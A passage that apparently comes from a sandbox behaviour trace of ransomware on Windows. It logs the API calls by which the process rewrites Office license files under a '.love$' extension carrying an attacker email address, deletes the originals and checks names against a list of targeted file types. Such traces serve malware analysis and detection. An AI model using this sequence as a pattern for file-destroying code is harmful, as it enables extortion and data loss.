office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0265.455] GetLastError () returned 0x0 [0265.455] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0265.470] WriteFile (in: hFile=0x3f4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0265.472] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.472] WriteFile (in: hFile=0x3f4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x116, lpOverlapped=0x0) returned 1 [0265.472] SetEndOfFile (hFile=0x3f4) returned 1 [0265.473] CloseHandle (hObject=0x3f4) returned 1 [0265.473] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.473] SetEndOfFile (hFile=0x560) returned 1 [0265.478] CloseHandle (hObject=0x560) returned 1 [0265.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 1 [0265.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0265.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0265.481] lstrlenW (lpString=".doc") returned 4 [0265.481] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.481] lstrlenW (lpString=".docx") returned 5 [0265.481] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.481] lstrlenW (lpString=".pdf") returned 4 [0265.481] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.481] lstrlenW (lpString=".xls") returned 4 [0265.481] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.481] lstrlenW (lpString=".xlsx") returned 5 [0265.481] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.481] lstrlenW (lpString=".ppt") returned 4 [0265.481] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0265.482] lstrlenW (lpString=".zip") returned 4 [0265.482] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.482] lstrlenW (lpString=".rar") returned 4 [0265.482] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.482] lstrlenW (lpString=".bz2") returned 4 [0265.482] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.482] lstrlenW (lpString=".7z") returned 3 [0265.482] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0265.482] lstrlenW (lpString=".dbf") returned 4 [0265.482] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0265.482] lstrlenW (lpString=".1cd") returned 4 [0265.482] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0265.482] lstrlenW (lpString=".jpg") returned 4 [0265.482] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0265.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0265.483] lstrlenW (lpString=".doc") returned 4 [0265.483] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.483] lstrlenW (lpString=".docx") returned 5 [0265.483] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.483] lstrlenW (lpString=".pdf") returned 4 [0265.483] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.483] lstrlenW (lpString=".xls") returned 4 [0265.483] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.483] lstrlenW (lpString=".xlsx") returned 5 [0265.483] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.483] lstrlenW (lpString=".ppt") returned 4 [0265.483] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0265.483] lstrlenW (lpString=".zip") returned 4 [0265.483] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.484] lstrlenW (lpString=".rar") returned 4 [0265.484] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.484] lstrlenW (lpString=".bz2") returned 4 [0265.484] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.484] lstrlenW (lpString=".7z") returned 3 [0265.484] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0265.484] lstrlenW (lpString=".dbf") returned 4 [0265.484] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0265.484] lstrlenW (lpString=".1cd") returned 4 [0265.484] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0265.484] lstrlenW (lpString=".jpg") returned 4 [0265.484] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.485] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.485] lstrlenW (lpString="HomeBusinessR_Trial2-pl.xrm-ms") returned 30 [0265.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0265.486] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11171) returned 1 [0265.487] CloseHandle (hObject=0x560) returned 1 [0265.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 0x220 [0265.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0265.488] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.488] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0265.490] GetLastError () returned 0x0 [0265.490] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2ba3, lpOverlapped=0x0) returned 1 [0265.546] WriteFile (in: hFile=0x3f4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0265.548] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.548] WriteFile (in: hFile=0x3f4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x110, lpOverlapped=0x0) returned 1 [0265.548] SetEndOfFile (hFile=0x3f4) returned 1 [0265.558] CloseHandle (hObject=0x3f4) returned 1 [0265.568] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.568] SetEndOfFile (hFile=0x560) returned 1 [0265.581] CloseHandle (hObject=0x560) returned 1 [0265.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 1 [0265.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0265.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0265.608] lstrlenW (lpString=".doc") returned 4 [0265.608] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.608] lstrlenW (lpString=".docx") returned 5 [0265.608] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.608] lstrlenW (lpString=".pdf") returned 4 [0265.608] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.608] lstrlenW (lpString=".xls") returned 4 [0265.609] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.609] lstrlenW (lpString=".xlsx") returned 5 [0265.609] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.609] lstrlenW (lpString=".ppt") returned 4 [0265.609] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0265.609] lstrlenW (lpString=".zip") returned 4 [0265.609] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.609] lstrlenW (lpString=".rar") returned 4 [0265.609] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.609] lstrlenW (lpString=".bz2") returned 4 [0265.609] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.609] lstrlenW (lpString=".7z") returned 3 [0265.609] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0265.609] lstrlenW (lpString=".dbf") returned 4 [0265.609] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0265.609] lstrlenW (lpString=".1cd") returned 4 [0265.609] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0265.609] lstrlenW (lpString=".jpg") returned 4 [0265.610] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0265.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0265.610] lstrlenW (lpString=".doc") returned 4 [0265.610] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.610] lstrlenW (lpString=".docx") returned 5 [0265.610] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.610] lstrlenW (lpString=".pdf") returned 4 [0265.610] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.610] lstrlenW (lpString=".xls") returned 4 [0265.610] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.610] lstrlenW (lpString=".xlsx") returned 5 [0265.610] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.610] lstrlenW (lpString=".ppt") returned 4 [0265.610] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0265.610] lstrlenW (lpString=".zip") returned 4 [0265.610] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.610] lstrlenW (lpString=".rar") returned 4 [0265.611] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.611] lstrlenW (lpString=".bz2") returned 4 [0265.611] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.611] lstrlenW (lpString=".7z") returned 3 [0265.611] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0265.611] lstrlenW (lpString=".dbf") returned 4 [0265.611] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0265.611] lstrlenW (lpString=".1cd") returned 4 [0265.611] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0265.611] lstrlenW (lpString=".jpg") returned 4 [0265.611] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.611] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.612] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 41 [0265.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0265.613] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11215) returned 1 [0265.613] CloseHandle (hObject=0x560) returned 1 [0265.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0265.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0265.614] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.614] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0265.618] GetLastError () returned 0x0 [0265.618] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0265.621] WriteFile (in: hFile=0x574, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0265.986] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.987] WriteFile (in: hFile=0x574, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x126, lpOverlapped=0x0) returned 1 [0265.987] SetEndOfFile (hFile=0x574) returned 1 [0265.987] CloseHandle (hObject=0x574) returned 1 [0265.987] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.987] SetEndOfFile (hFile=0x560) returned 1 [0266.008] CloseHandle (hObject=0x560) returned 1 [0266.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0266.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0266.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0266.010] lstrlenW (lpString=".doc") returned 4 [0266.011] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.011] lstrlenW (lpString=".docx") returned 5 [0266.011] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.011] lstrlenW (lpString=".pdf") returned 4 [0266.011] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.011] lstrlenW (lpString=".xls") returned 4 [0266.011] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.011] lstrlenW (lpString=".xlsx") returned 5 [0266.011] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.011] lstrlenW (lpString=".ppt") returned 4 [0266.011] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0266.011] lstrlenW (lpString=".zip") returned 4 [0266.011] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.011] lstrlenW (lpString=".rar") returned 4 [0266.011] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.011] lstrlenW (lpString=".bz2") returned 4 [0266.011] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.011] lstrlenW (lpString=".7z") returned 3 [0266.011] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0266.011] lstrlenW (lpString=".dbf") returned 4 [0266.012] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0266.012] lstrlenW (lpString=".1cd") returned 4 [0266.012] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0266.012] lstrlenW (lpString=".jpg") returned 4 [0266.012] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0266.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0266.012] lstrlenW (lpString=".doc") returned 4 [0266.012] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.012] lstrlenW (lpString=".docx") returned 5 [0266.012] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.012] lstrlenW (lpString=".pdf") returned 4 [0266.012] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.012] lstrlenW (lpString=".xls") returned 4 [0266.013] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.013] lstrlenW (lpString=".xlsx") returned 5 [0266.013] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.013] lstrlenW (lpString=".ppt") returned 4 [0266.013] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0266.013] lstrlenW (lpString=".zip") returned 4 [0266.013] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.013] lstrlenW (lpString=".rar") returned 4 [0266.013] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.013] lstrlenW (lpString=".bz2") returned 4 [0266.013] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.013] lstrlenW (lpString=".7z") returned 3 [0266.013] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0266.013] lstrlenW (lpString=".dbf") returned 4 [0266.013] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0266.013] lstrlenW (lpString=".1cd") returned 4 [0266.013] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0266.013] lstrlenW (lpString=".jpg") returned 4 [0266.014] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.014] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0266.014] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 35 [0266.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0266.016] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11612) returned 1 [0266.016] CloseHandle (hObject=0x560) returned 1 [0266.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0266.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, 